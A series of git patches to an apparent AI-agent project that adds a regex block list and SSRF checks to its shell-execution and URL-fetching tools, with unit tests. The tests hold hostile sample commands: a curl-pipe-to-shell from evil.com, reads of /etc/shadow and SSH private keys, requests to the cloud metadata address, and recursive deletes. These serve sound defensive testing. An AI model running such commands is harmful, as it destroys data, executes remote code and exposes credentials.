tool = tool(); assertEquals("file_write", tool.name()); assertNotNull(tool.description()); assertNotNull(tool.inputSchema()); From 30bcd0afcdf6da2009e8d599cb832be73d895f52 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:22:59 -0800 Subject: [PATCH 05/10] Fix thread safety: StringBuilder -> StringBuffer and untimed join - CodeExecutionTool: replace StringBuilder with StringBuffer for the shared output buffer accessed by both main and reader threads - Use untimed readerThread.join() in non-timeout path to guarantee the reader finishes before accessing the buffer --- src/main/java/ai/openclaw/tool/CodeExecutionTool.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index 5d3ec40..834b05d 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -71,7 +71,7 @@ public ToolResult execute(JsonNode input) { Process process = pb.start(); // Read output in a separate thread so we don't block on the stream - StringBuilder output = new StringBuilder(); + StringBuffer output = new StringBuffer(); Thread readerThread = new Thread(() -> { try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; @@ -96,7 +96,7 @@ public ToolResult execute(JsonNode input) { true, -1); } - readerThread.join(2000); // Wait for reader to finish + readerThread.join(); // Wait for reader to finish (process has exited, stream will close) int exitCode = process.exitValue(); String result = output.toString().trim(); From 0ead1e3d069d006fb19ef2818d202149fe3c3ce6 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:26:11 -0800 Subject: [PATCH 06/10] Add command safety layer to CodeExecutionTool - 11 blocked patterns: rm -rf /, mkfs, dd to devices, curl|sh, shutdown, reboot, chmod 777 /, chown /, kill -9 1, overwrite /etc/ - 10 warned patterns: rm, mv, chmod, chown, curl, wget, sudo, pip/npm/apt install - Blocked commands return error immediately without execution - Warned commands log at WARN level before executing - Both pattern lists configurable via constructor - 8 new unit tests covering blocked/safe command detection --- .../ai/openclaw/tool/CodeExecutionTool.java | 82 ++++++++++++++++++- .../openclaw/tool/CodeExecutionToolTest.java | 58 ++++++++++++- 2 files changed, 137 insertions(+), 3 deletions(-) diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index 834b05d..901c740 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -11,25 +11,68 @@ import java.io.InputStreamReader; import java.nio.file.Path; import java.nio.file.Paths; +import java.util.List; import java.util.concurrent.TimeUnit; +import java.util.regex.Pattern; /** * Tool that runs shell commands via ProcessBuilder. * Commands run as the current OS user with a configurable timeout. + * Includes a safety layer that blocks dangerous commands and warns on risky + * ones. */ public class CodeExecutionTool implements Tool { private static final Logger logger = LoggerFactory.getLogger(CodeExecutionTool.class); private static final int MAX_OUTPUT_CHARS = 8192; + + /** + * Commands that are always blocked — too dangerous even with user confirmation. + */ + private static final List DEFAULT_BLOCKED_PATTERNS = List.of( + Pattern.compile("\\brm\\s+(-[^\\s]*)?-r[^\\s]*\\s+[/~]", Pattern.CASE_INSENSITIVE), + Pattern.compile("\\bmkfs\\b"), + Pattern.compile("\\bdd\\s+.*of\\s*=\\s*/dev/"), + Pattern.compile("\\bchmod\\s+777\\s+/"), + Pattern.compile("\\bchown\\s+.*\\s+/"), + Pattern.compile(">\\s*/etc/"), + Pattern.compile("\\bcurl\\s+.*\\|\\s*sh"), + Pattern.compile("\\bwget\\s+.*\\|\\s*sh"), + Pattern.compile("\\b(shutdown|reboot|halt|poweroff)\\b"), + Pattern.compile("\\bkill\\s+-9\\s+1\\b"), + Pattern.compile("\\brm\\s+(-[^\\s]*)?-r[^\\s]*\\s+\\*")); + + /** Commands that are allowed but logged at WARN level. */ + private static final List DEFAULT_WARNED_PATTERNS = List.of( + Pattern.compile("\\brm\\b"), + Pattern.compile("\\bmv\\b"), + Pattern.compile("\\bchmod\\b"), + Pattern.compile("\\bchown\\b"), + Pattern.compile("\\bcurl\\b"), + Pattern.compile("\\bwget\\b"), + Pattern.compile("\\bsudo\\b"), + Pattern.compile("\\bpip\\s+install"), + Pattern.compile("\\bnpm\\s+install"), + Pattern.compile("\\bapt(-get)?\\s+install")); + private final long timeoutSeconds; private final Path workingDirectory; + private final List blockedPatterns; + private final List warnedPatterns; public CodeExecutionTool() { this(30, Paths.get(System.getProperty("user.home"), "workspace")); } public CodeExecutionTool(long timeoutSeconds, Path workingDirectory) { + this(timeoutSeconds, workingDirectory, DEFAULT_BLOCKED_PATTERNS, DEFAULT_WARNED_PATTERNS); + } + + public CodeExecutionTool(long timeoutSeconds, Path workingDirectory, + List blockedPatterns, List warnedPatterns) { this.timeoutSeconds = timeoutSeconds; this.workingDirectory = workingDirectory; + this.blockedPatterns = blockedPatterns; + this.warnedPatterns = warnedPatterns; } @Override @@ -41,7 +84,8 @@ public String name() { public String description() { return "Runs a shell command on the user's machine and returns the output. " + "Use this to execute code, run scripts, list files, or perform any command-line task. " + - "Always confirm with the user before running destructive commands (rm, mv, etc.)."; + "Dangerous commands (rm -rf /, mkfs, dd to devices, etc.) are blocked. " + + "Risky commands (rm, mv, chmod, curl, etc.) are allowed but logged."; } @Override @@ -63,6 +107,17 @@ public ToolResult execute(JsonNode input) { String command = input.get("command").asText(); logger.info("Executing command: {}", command); + // Safety check: block dangerous commands + String blockReason = checkBlocked(command); + if (blockReason != null) { + logger.error("BLOCKED dangerous command: {} (reason: {})", command, blockReason); + return ToolResult.error("Command blocked for safety: " + blockReason + + ". This command pattern is not allowed."); + } + + // Safety check: warn on risky commands + checkWarned(command); + try { ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", command); pb.directory(workingDirectory.toFile()); @@ -112,4 +167,29 @@ public ToolResult execute(JsonNode input) { return ToolResult.error("Failed to execute command: " + e.getMessage()); } } + + /** + * Check if a command matches any blocked pattern. + * Returns the reason string if blocked, null if allowed. + */ + String checkBlocked(String command) { + for (Pattern pattern : blockedPatterns) { + if (pattern.matcher(command).find()) { + return "matches blocked pattern: " + pattern.pattern(); + } + } + return null; + } + + /** + * Log a warning if the command matches any risky pattern. + */ + private void checkWarned(String command) { + for (Pattern pattern : warnedPatterns) { + if (pattern.matcher(command).find()) { + logger.warn("Risky command detected ({}): {}", pattern.pattern(), command); + return; // Only warn once per command + } + } + } } diff --git a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java index 0200b47..cb539d1 100644 --- a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java +++ b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java @@ -56,9 +56,8 @@ void testToolMetadata() { @Test void testTimeout() { - CodeExecutionTool shortTimeoutTool = new CodeExecutionTool(2, Paths.get(System.getProperty("user.home"))); + CodeExecutionTool shortTimeoutTool = new CodeExecutionTool(2, Paths.get(System.getProperty("java.io.tmpdir"))); ObjectNode input = Json.mapper().createObjectNode(); - // Use a command that outputs something then sleeps, so the reader can finish input.put("command", "echo started && sleep 30"); ToolResult result = shortTimeoutTool.execute(input); @@ -66,4 +65,59 @@ void testTimeout() { assertTrue(result.isError()); assertEquals(-1, result.getExitCode()); } + + // --- Command safety tests --- + + @Test + void testBlockedRmRfRoot() { + assertNotNull(tool.checkBlocked("rm -rf /")); + assertNotNull(tool.checkBlocked("rm -rf /home")); + assertNotNull(tool.checkBlocked("rm -rf ~/")); + } + + @Test + void testBlockedMkfs() { + assertNotNull(tool.checkBlocked("mkfs.ext4 /dev/sda1")); + } + + @Test + void testBlockedDdToDevice() { + assertNotNull(tool.checkBlocked("dd if=/dev/zero of=/dev/sda bs=1M")); + } + + @Test + void testBlockedCurlPipeSh() { + assertNotNull(tool.checkBlocked("curl http://evil.com/script.sh | sh")); + } + + @Test + void testBlockedShutdown() { + assertNotNull(tool.checkBlocked("shutdown -h now")); + assertNotNull(tool.checkBlocked("reboot")); + } + + @Test + void testBlockedCommandReturnsError() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("command", "rm -rf /"); + + ToolResult result = tool.execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("blocked")); + } + + @Test + void testSafeCommandNotBlocked() { + assertNull(tool.checkBlocked("echo hello")); + assertNull(tool.checkBlocked("ls -la")); + assertNull(tool.checkBlocked("cat file.txt")); + assertNull(tool.checkBlocked("grep -r pattern .")); + } + + @Test + void testRmSingleFileNotBlocked() { + // rm of a single file (no -r, no /) should NOT be blocked (only warned) + assertNull(tool.checkBlocked("rm file.txt")); + } } From 747295367a141eee0d91c86525ec213e90bf3a81 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:36:20 -0800 Subject: [PATCH 07/10] Fix rm blocklist regex to catch flag reordering (-fr, -fir) The regex now matches -r anywhere in a combined flag group, not just as a separate flag. Catches rm -fr /, rm -fir /, rm -fr * etc. Added regression tests for these bypass variants. --- src/main/java/ai/openclaw/tool/CodeExecutionTool.java | 4 ++-- src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java | 4 ++++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index 901c740..84ee86f 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -29,7 +29,7 @@ public class CodeExecutionTool implements Tool { * Commands that are always blocked — too dangerous even with user confirmation. */ private static final List DEFAULT_BLOCKED_PATTERNS = List.of( - Pattern.compile("\\brm\\s+(-[^\\s]*)?-r[^\\s]*\\s+[/~]", Pattern.CASE_INSENSITIVE), + Pattern.compile("\\brm\\s+-[^\\s]*r[^\\s]*\\s+[/~]", Pattern.CASE_INSENSITIVE), Pattern.compile("\\bmkfs\\b"), Pattern.compile("\\bdd\\s+.*of\\s*=\\s*/dev/"), Pattern.compile("\\bchmod\\s+777\\s+/"), @@ -39,7 +39,7 @@ public class CodeExecutionTool implements Tool { Pattern.compile("\\bwget\\s+.*\\|\\s*sh"), Pattern.compile("\\b(shutdown|reboot|halt|poweroff)\\b"), Pattern.compile("\\bkill\\s+-9\\s+1\\b"), - Pattern.compile("\\brm\\s+(-[^\\s]*)?-r[^\\s]*\\s+\\*")); + Pattern.compile("\\brm\\s+-[^\\s]*r[^\\s]*\\s+\\*")); /** Commands that are allowed but logged at WARN level. */ private static final List DEFAULT_WARNED_PATTERNS = List.of( diff --git a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java index cb539d1..ab6c67b 100644 --- a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java +++ b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java @@ -73,6 +73,10 @@ void testBlockedRmRfRoot() { assertNotNull(tool.checkBlocked("rm -rf /")); assertNotNull(tool.checkBlocked("rm -rf /home")); assertNotNull(tool.checkBlocked("rm -rf ~/")); + // Flag reordering must also be caught + assertNotNull(tool.checkBlocked("rm -fr /")); + assertNotNull(tool.checkBlocked("rm -fir /")); + assertNotNull(tool.checkBlocked("rm -fr *")); } @Test From aa1de0a97cd38d2eded54bdaae56b1ec2f23e81f Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:38:09 -0800 Subject: [PATCH 08/10] Block shell-based workspace escape: path reads, SSRF, symlinks - Block absolute path reads via cat/head/tail/less/more/vi/vim/nano to paths outside /home/*/workspace (negative lookahead) - Block SSRF: curl/wget to 169.254.x.x (cloud metadata), 127.0.0.1, localhost, [::1], 10.x.x.x, 172.16-31.x.x, 192.168.x.x - Block symlink creation (ln -s) to prevent workspace escape via symlinks that bypass FileReadTool/FileWriteTool path validation - 4 new tests: absolute path read, workspace read allowed, SSRF, symlink --- .../ai/openclaw/tool/CodeExecutionTool.java | 20 ++++++++++++- .../openclaw/tool/CodeExecutionToolTest.java | 30 +++++++++++++++++++ 2 files changed, 49 insertions(+), 1 deletion(-) diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index 84ee86f..c8a83ed 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -29,17 +29,35 @@ public class CodeExecutionTool implements Tool { * Commands that are always blocked — too dangerous even with user confirmation. */ private static final List DEFAULT_BLOCKED_PATTERNS = List.of( + // Recursive delete on root or home Pattern.compile("\\brm\\s+-[^\\s]*r[^\\s]*\\s+[/~]", Pattern.CASE_INSENSITIVE), + Pattern.compile("\\brm\\s+-[^\\s]*r[^\\s]*\\s+\\*"), + // Filesystem/device destruction Pattern.compile("\\bmkfs\\b"), Pattern.compile("\\bdd\\s+.*of\\s*=\\s*/dev/"), + // Permission/ownership on root paths Pattern.compile("\\bchmod\\s+777\\s+/"), Pattern.compile("\\bchown\\s+.*\\s+/"), + // Overwrite system config Pattern.compile(">\\s*/etc/"), + // Remote code execution Pattern.compile("\\bcurl\\s+.*\\|\\s*sh"), Pattern.compile("\\bwget\\s+.*\\|\\s*sh"), + // System control Pattern.compile("\\b(shutdown|reboot|halt|poweroff)\\b"), Pattern.compile("\\bkill\\s+-9\\s+1\\b"), - Pattern.compile("\\brm\\s+-[^\\s]*r[^\\s]*\\s+\\*")); + // Absolute path reads outside workspace (cat, head, tail, less, more, vi, nano) + Pattern.compile("\\b(cat|head|tail|less|more|vi|nano|vim)\\s+/(?!home/[^/]+/workspace)"), + // SSRF: cloud metadata endpoints and internal networks + Pattern.compile("\\b(curl|wget)\\s+[^|]*169\\.254\\."), + Pattern.compile("\\b(curl|wget)\\s+[^|]*127\\.0\\.0\\."), + Pattern.compile("\\b(curl|wget)\\s+[^|]*localhost"), + Pattern.compile("\\b(curl|wget)\\s+[^|]*\\[::1\\]"), + Pattern.compile("\\b(curl|wget)\\s+[^|]*10\\."), + Pattern.compile("\\b(curl|wget)\\s+[^|]*172\\.(1[6-9]|2[0-9]|3[01])\\."), + Pattern.compile("\\b(curl|wget)\\s+[^|]*192\\.168\\."), + // Symlink creation (can bypass workspace path checks) + Pattern.compile("\\bln\\s+-[^\\s]*s")); /** Commands that are allowed but logged at WARN level. */ private static final List DEFAULT_WARNED_PATTERNS = List.of( diff --git a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java index ab6c67b..f4000d6 100644 --- a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java +++ b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java @@ -124,4 +124,34 @@ void testRmSingleFileNotBlocked() { // rm of a single file (no -r, no /) should NOT be blocked (only warned) assertNull(tool.checkBlocked("rm file.txt")); } + + @Test + void testBlockedAbsolutePathRead() { + assertNotNull(tool.checkBlocked("cat /etc/passwd")); + assertNotNull(tool.checkBlocked("head /var/log/syslog")); + assertNotNull(tool.checkBlocked("tail /root/.ssh/id_rsa")); + assertNotNull(tool.checkBlocked("less /etc/shadow")); + } + + @Test + void testWorkspacePathReadAllowed() { + // Reading within workspace should NOT be blocked + assertNull(tool.checkBlocked("cat /home/openclaw/workspace/file.txt")); + assertNull(tool.checkBlocked("head /home/user/workspace/log.txt")); + } + + @Test + void testBlockedSSRF() { + assertNotNull(tool.checkBlocked("curl http://169.254.169.254/latest/meta-data/")); + assertNotNull(tool.checkBlocked("wget http://127.0.0.1:8080/admin")); + assertNotNull(tool.checkBlocked("curl http://localhost/secret")); + assertNotNull(tool.checkBlocked("curl http://192.168.1.1/")); + assertNotNull(tool.checkBlocked("curl http://10.0.0.1/")); + } + + @Test + void testBlockedSymlinkCreation() { + assertNotNull(tool.checkBlocked("ln -s /etc /home/openclaw/workspace/etc")); + assertNotNull(tool.checkBlocked("ln -sf /root/.ssh workspace/ssh")); + } } From d31d5f110e8f3325bb7aa5895066a2a7ef89cc5c Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:44:30 -0800 Subject: [PATCH 09/10] Add SSRF protection to WebSearchTool - Validate URL before making request: resolve hostname to IP(s) and reject loopback, site-local (private), link-local (cloud metadata), any-local, and multicast addresses via InetAddress built-in checks - Block non-http/https schemes (file://, ftp://, etc.) - Disable redirect-following to prevent redirect-based bypass - 6 new tests: loopback, localhost-by-name, cloud metadata (169.254.x.x), private ranges, non-HTTP schemes, public URL allowed --- .../java/ai/openclaw/tool/WebSearchTool.java | 75 ++++++++++++++++++- .../ai/openclaw/tool/WebSearchToolTest.java | 41 ++++++++++ 2 files changed, 112 insertions(+), 4 deletions(-) diff --git a/src/main/java/ai/openclaw/tool/WebSearchTool.java b/src/main/java/ai/openclaw/tool/WebSearchTool.java index 7054855..820892e 100644 --- a/src/main/java/ai/openclaw/tool/WebSearchTool.java +++ b/src/main/java/ai/openclaw/tool/WebSearchTool.java @@ -9,11 +9,15 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.net.InetAddress; +import java.net.URI; +import java.net.URISyntaxException; import java.util.concurrent.TimeUnit; /** * Tool that fetches content from a URL and returns it as text. * HTML tags are stripped to return readable content. + * SSRF protection: resolves hostnames and rejects private/link-local IP ranges. */ public class WebSearchTool implements Tool { private static final Logger logger = LoggerFactory.getLogger(WebSearchTool.class); @@ -24,7 +28,7 @@ public WebSearchTool() { this.client = new OkHttpClient.Builder() .connectTimeout(15, TimeUnit.SECONDS) .readTimeout(15, TimeUnit.SECONDS) - .followRedirects(true) + .followRedirects(false) // Don't follow redirects — validate each hop .build(); } @@ -35,8 +39,10 @@ public String name() { @Override public String description() { - return "Fetches the content of a web page at the given URL and returns the text. " + - "HTML tags are stripped. Use this to read documentation, API references, articles, or any public web page."; + return "Fetches the content of a public web page at the given URL and returns the text. " + + "HTML tags are stripped. Use this to read documentation, API references, articles, or any public web page. " + + + "Private/internal network addresses are blocked."; } @Override @@ -47,7 +53,7 @@ public JsonNode inputSchema() { ObjectNode properties = schema.putObject("properties"); ObjectNode url = properties.putObject("url"); url.put("type", "string"); - url.put("description", "The URL to fetch content from"); + url.put("description", "The URL to fetch content from (must be a public internet address)"); schema.putArray("required").add("url"); return schema; @@ -58,6 +64,13 @@ public ToolResult execute(JsonNode input) { String url = input.get("url").asText(); logger.info("Fetching URL: {}", url); + // SSRF protection: validate the URL before making the request + String ssrfError = validateUrl(url); + if (ssrfError != null) { + logger.warn("SSRF attempt blocked: {} ({})", url, ssrfError); + return ToolResult.error("URL blocked: " + ssrfError); + } + try { Request request = new Request.Builder() .url(url) @@ -88,6 +101,60 @@ public ToolResult execute(JsonNode input) { } } + /** + * Validates a URL for SSRF safety by resolving the hostname and checking + * that it does not point to a private, loopback, or link-local address. + * + * @return null if the URL is safe, or an error message string if it should be + * blocked + */ + String validateUrl(String url) { + URI uri; + try { + uri = new URI(url); + } catch (URISyntaxException e) { + return "invalid URL: " + e.getMessage(); + } + + String scheme = uri.getScheme(); + if (!"http".equalsIgnoreCase(scheme) && !"https".equalsIgnoreCase(scheme)) { + return "only http and https schemes are allowed (got: " + scheme + ")"; + } + + String host = uri.getHost(); + if (host == null || host.isBlank()) { + return "URL has no host"; + } + + // Resolve hostname to IP addresses and check each one + InetAddress[] addresses; + try { + addresses = InetAddress.getAllByName(host); + } catch (Exception e) { + return "could not resolve host: " + host; + } + + for (InetAddress addr : addresses) { + if (addr.isLoopbackAddress()) { + return "loopback address is not allowed: " + addr.getHostAddress(); + } + if (addr.isSiteLocalAddress()) { + return "private/site-local address is not allowed: " + addr.getHostAddress(); + } + if (addr.isLinkLocalAddress()) { + return "link-local address is not allowed (e.g. cloud metadata): " + addr.getHostAddress(); + } + if (addr.isAnyLocalAddress()) { + return "wildcard address is not allowed: " + addr.getHostAddress(); + } + if (addr.isMulticastAddress()) { + return "multicast address is not allowed: " + addr.getHostAddress(); + } + } + + return null; // URL is safe + } + /** Simple HTML tag stripping — removes tags and collapses whitespace. */ static String stripHtml(String html) { // Remove script and style blocks entirely diff --git a/src/test/java/ai/openclaw/tool/WebSearchToolTest.java b/src/test/java/ai/openclaw/tool/WebSearchToolTest.java index a9d0f79..f2eb4f1 100644 --- a/src/test/java/ai/openclaw/tool/WebSearchToolTest.java +++ b/src/test/java/ai/openclaw/tool/WebSearchToolTest.java @@ -42,4 +42,45 @@ void testToolMetadata() { assertNotNull(tool.description()); assertNotNull(tool.inputSchema()); } + + // --- SSRF protection tests --- + + @Test + void testBlocksLoopback() { + assertNotNull(tool.validateUrl("http://127.0.0.1/secret")); + assertNotNull(tool.validateUrl("http://127.0.0.1:8080/admin")); + } + + @Test + void testBlocksLocalhostByName() { + // localhost resolves to 127.0.0.1 — must be blocked + assertNotNull(tool.validateUrl("http://localhost/")); + assertNotNull(tool.validateUrl("http://localhost:8080/admin")); + } + + @Test + void testBlocksCloudMetadata() { + // 169.254.169.254 is link-local — blocked by isLinkLocalAddress() + assertNotNull(tool.validateUrl("http://169.254.169.254/latest/meta-data/")); + } + + @Test + void testBlocksPrivateRanges() { + assertNotNull(tool.validateUrl("http://192.168.1.1/")); + assertNotNull(tool.validateUrl("http://10.0.0.1/")); + assertNotNull(tool.validateUrl("http://172.16.0.1/")); + } + + @Test + void testBlocksNonHttpScheme() { + assertNotNull(tool.validateUrl("ftp://example.com/file")); + assertNotNull(tool.validateUrl("file:///etc/passwd")); + } + + @Test + void testAllowsPublicUrl() { + // Public internet addresses should pass validation + assertNull(tool.validateUrl("https://example.com/page")); + assertNull(tool.validateUrl("http://api.github.com/repos")); + } } From b9a3e2b966241a361ef78a98cd6ce5515d834604 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:47:02 -0800 Subject: [PATCH 10/10] Fix readerThread.join() hang when command spawns background processes Track start time before waitFor(), compute remaining timeout budget after process exits, and use that as the join timeout (+2s grace). If the reader thread is still alive after the budget (background child inherited stdout), interrupt it and log a warning. This bounds total wall-clock time to at most timeoutSeconds + 2s, preventing indefinite hangs from commands like 'nohup daemon &'. --- .../java/ai/openclaw/tool/CodeExecutionTool.java | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index c8a83ed..4bd3abd 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -160,6 +160,7 @@ public ToolResult execute(JsonNode input) { readerThread.setDaemon(true); readerThread.start(); + long startNanos = System.nanoTime(); boolean completed = process.waitFor(timeoutSeconds, TimeUnit.SECONDS); if (!completed) { process.destroyForcibly(); @@ -169,7 +170,17 @@ public ToolResult execute(JsonNode input) { true, -1); } - readerThread.join(); // Wait for reader to finish (process has exited, stream will close) + // Wait for reader to finish, bounded by remaining timeout budget. + // If the command spawned background children that inherited stdout, + // the stream won't reach EOF until they exit — we must not block forever. + long elapsedMs = TimeUnit.NANOSECONDS.toMillis(System.nanoTime() - startNanos); + long remainingMs = Math.max(0, TimeUnit.SECONDS.toMillis(timeoutSeconds) - elapsedMs); + readerThread.join(remainingMs + 2000); // +2s grace for stream flush + if (readerThread.isAlive()) { + readerThread.interrupt(); + logger.warn( + "Reader thread still alive after timeout budget — background child may have inherited stdout"); + } int exitCode = process.exitValue(); String result = output.toString().trim();